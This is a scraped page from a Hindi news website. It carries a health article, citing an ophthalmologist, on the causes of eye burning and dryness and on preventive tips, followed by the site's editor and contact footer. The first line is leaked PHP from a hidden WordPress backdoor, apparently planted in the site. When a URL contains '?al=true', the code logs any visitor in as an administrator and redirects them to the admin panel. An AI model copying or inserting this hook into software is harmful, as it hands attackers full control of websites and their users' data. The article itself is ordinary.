// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); आंखों में जलन और ड्राईनेस को न करें नजरअंदाज, जानें इसके बड़े कारण – प्रत्युषा आशा की नयी किरण
स्वास्थ्य

आंखों में जलन और ड्राईनेस को न करें नजरअंदाज, जानें इसके बड़े कारण

आज की डिजिटल लाइफस्टाइल और बढ़ते प्रदूषण के बीच आंखों में जलन, खुजली और पानी आने की समस्या एक आम बात हो गई है। स्क्रीन के इस्तेमाल के बाद हल्की जलन कभी-कभी नॉर्मल लग सकती है, लेकिन अगर आपकी आंखों में बार-बार रेडनेस, ड्राईनेस या ऐसा महसूस होता है जैसे आंखों में कुछ चला गया है, तो यह गंभीर समस्या हो सकती है।

आइए डॉ. रश्मि मित्तल (सीनियर कंसल्टेंट, ऑप्थैलमोलॉजी, अमृता हॉस्पिटल, फरीदाबाद) से जानें कि आंखों में इरिटेशन के पीछे क्या कारण जिम्मेदार हैं।

आंसू की परत पतली होना
हमारी आंखों की सतह पानी, ऑयल और म्यूकस की एक पतली परत से सुरक्षित रहती है, जिसे टियर फिल्म कहा जाता है। यह परत आंखों को नम रखने और बाहरी इन्फेक्शन से बचाने का काम करती है। जब यह सुरक्षात्मक परत अस्थिर हो जाती है, तो आंखें सीधे हवा के कॉन्टेक्ट में आती हैं, जिससे ड्राईनेस और जलन शुरू हो जाती है।

डिजिटल आई स्ट्रेन और पलकें झपकाने में कमी
आजकल आंखों की जलन का सबसे बड़ा कारण कंप्यूटर विजन सिंड्रोम है। जब हम लंबे समय तक स्क्रीन को देखते हैं, तो हमारी पलकें झपकाने की दर 50-60% तक कम हो जाती है। कम पलकें झपकाने से आंसू जल्दी सूख जाते हैं, जिससे आंखों में ड्राईनेस और चुभन महसूस होने लगती है।

इसके कारण मीबोमियन ग्लैंड डिसफंक्शन की समस्या भी हो सकती है। इसमें पलकों क ऑयल ग्लैंड्स भी ठीक से काम करना बंद कर देते हैं।

प्रदूषण और पर्यावरण से जुड़े कारण
भारत के शहरी क्षेत्रों में वायु प्रदूषण एक गंभीर समस्या है। हवा में मौजूद प्रदूषण, धुआं और केमिकल सीधे हमारी आंखों की पुतली को प्रभावित करते हैं। लंबे समय तक प्रदूषण के संपर्क में रहने से आंखों की सतह पर ऑक्सीडेटिव स्ट्रेस और सूजन पैदा होती है।

एलर्जी और बीमारियां
धूल, पोलन, पालतू जानवरों के बाल या मोल्ड अक्सर एलर्जी का कारण बनते हैं। इसे एलर्जिक कंजंक्टिवाइटिस कहा जाता है, जिसमें शरीर हिस्टामाइन रिलीज करता है, जिससे आंखों में तेज खुजली, सूजन और पानी आने लगता है। इसके अलावा, विटामिन-ए की कमी, डायबिटीज, साइनस एलर्जी और ऑटोइम्यून डिसऑर्डर भी आंखों की जलन के लिए जिम्मेदार हो सकते हैं।

बचाव के उपाय
ज्यादातर लोग राहत के लिए बिना डॉक्टरी सलाह के आई-ड्रॉप्स का इस्तेमाल शुरू कर देते हैं। स्टेरॉयड-बेस्ड आई-ड्रॉप्स डॉक्टर की सलाह के बिना इस्तेमाल करना मोतियाबिंद और ग्लूकोमा जैसी खतरनाक स्थितियों को जन्म दे सकता है।

स्वस्थ आंखों के लिए कुछ जरूरी टिप्स
    20-20-20 नियम- हर 20 मिनट के स्क्रीन समय के बाद, 20 फीट दूर रखी किसी चीज को 20 सेकंड के लिए देखें।
    हाइड्रेशन और नींद- शरीर में पानी की कमी न होने दें और पूरी नींद लें।
    पलकें झपकाएं- काम के दौरान जानबूझकर पलकें झपकाने की कोशिश करें।
    डॉक्टरी सलाह- अगर जलन हफ्तों तक बनी रहे या आंखों में दर्द हो, तो घरेलू इलाज के बजाय किसी आई स्पेशेलिस्ट से पूरी जांच कराएं।

 

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]